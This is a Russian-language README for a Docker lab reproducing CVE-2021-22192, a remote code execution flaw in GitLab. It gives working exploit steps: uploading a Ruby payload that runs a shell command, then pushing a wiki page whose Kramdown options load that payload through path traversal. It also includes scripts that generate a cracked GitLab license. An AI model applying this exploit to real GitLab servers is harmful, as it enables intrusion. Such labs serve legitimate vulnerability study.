
CVE-2021-22192 Лаборатория: RCE-уязвимость для неавторизованных пользователей
CVE-2021-22192 полигон: RCE-уязвимость для неавторизованных пользователей
CVE-2021-22192
├── README.md ............... [описание этого README]
├── imgs .................... [изображения для README]
├── gitlab .................. [каталог монтирования контейнера Gitlab]
│ ├── Dockerfile .......... [Docker-файл сборки Gitlab]
│ ├── config .............. [каталог монтирования конфигурации Gitlab]
│ ├── data ................ [каталог монтирования данных Gitlab]
│ ├── logs ................ [каталог монтирования логов Gitlab]
│ ├── keys ................ [каталог хранения взломанной лицензии Gitlab]
│ └── nginx ............... [каталог конфигурации встроенного nginx Gitlab (резервная копия, не изменять)]
├── runner .................. [каталог монтирования контейнера Gitlab]
├── license ................. [каталог сборки контейнера лицензии]
│ ├── Dockerfile .......... [Docker-файл сборки лицензии]
│ └── license.rb .......... [Ruby-скрипт генерации взломанной лицензии]
├── test .................... [каталог отладки Kramdown]
├── docker-compose.yml ...... [конфигурация сборки Docker]
├── keygen.ps1 .............. [Windows: одноразовая генерация взломанной лицензии]
├── keygen.sh ............... [Linux: одноразовая генерация взломанной лицензии]
├── run.ps1 ................. [Windows: одноразовый запуск полигона Gitlab]
├── run.sh .................. [Linux: одноразовый запуск полигона Gitlab]
├── register.ps1 ............ [Windows: одноразовая регистрация Runner]
├── register.sh ............. [Linux: одноразовая регистрация Runner]
├── stop.ps1 ................ [Windows: одноразовая остановка полигона Gitlab]
└── stop.sh ................. [Linux: одноразовая остановка полигона Gitlab]
./keygen.sh или ./keygen.ps1./run.sh или ./run.ps1При генерации пары ключей для взлома публичный ключ уже был записан в контейнер Gitlab, осталось загрузить закрытый ключ через веб-интерфейс для завершения взлома:
./gitlab/keys/, скопируйте содержимое .gitlab-license (закрытый ключ)Enter license key, вставьте закрытый ключ и нажмите Upload license для завершения взлома
./register.sh $TOKEN или ./register.ps1 $TOKENПосле этого все репозитории смогут использовать этот Runner для выполнения CI-скриптов (Pipeline Jobs)

Предположим, ваше имя пользователя Gitlab ${username}, имя репозитория ${repository_name}. Когда репозиторий успешно собран с помощью jekyll (SSG), достаточно перейти по следующему URL:
http://127.0.0.1:8000/${username}/${repository_name}/public/
Подробное описание процесса см. в hackerone.
+ -> New snippet в верхней части страницыTitle можно заполнить произвольно, щелкните поле ввода Description (optional), затем нажмите Attach a file и загрузите файл с именем payload.rb следующего содержания:puts "hello from ruby"
`echo exp was here > /tmp/exp`
При этом в поле Description (optional) отобразится ссылка на файл, например: [payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/master/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb), а файл будет загружен в контейнер docker_gitlab по пути /var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb. (Кнопку Create snippet нажимать не обязательно, достаточно запомнить хеш этого пути.)
Примечание: не создавайте сниппет через боковую панель репозитория (
Snippet -> New snippet), иначе путь к файлу станет[payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/master/uploads/b5e4fed771f26ef75700ebf763f489ab/payload.rb), а фактический путь в контейнере docker_gitlab станет/var/opt/gitlab/gitlab-rails/uploads/@hash/случайная_строка/payload.rb— из-за случайной строки использовать его будет затруднительно.
+ New Project в верхней части страницы, назовите произвольно (например, poc, можно не создавать, а использовать существующий репозиторий)Wiki слева, затем Create your first pageTitle и Content заполните произвольно, нажмите Create pagepoc с именем poc.wiki (нажмите Clone repository в правом верхнем углу, чтобы найти команду клонирования: git clone http://127.0.0.1/root/poc.wiki.git).git clone http://127.0.0.1/root/poc.wiki.git && cd poc.wiki для загрузки wiki-репозитория на локальный компьютерpage1.rmd следующего содержания (обратите внимание, что хеш в пути нужно заменить на полученный ранее):{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb\}" /}
~~~ ruby
def what?
42
end
~~~
git add -A . && git commit -m "page1.rmd" && git pushpage1, нажмите на неё/tmp/exp уже созданПосле нажатия на страницу
page1.rmdв логахgitlab/logs/gitlab-rails/exceptions_json.logможно увидеть сообщение об ошибке, однако это не мешает выполнению команды: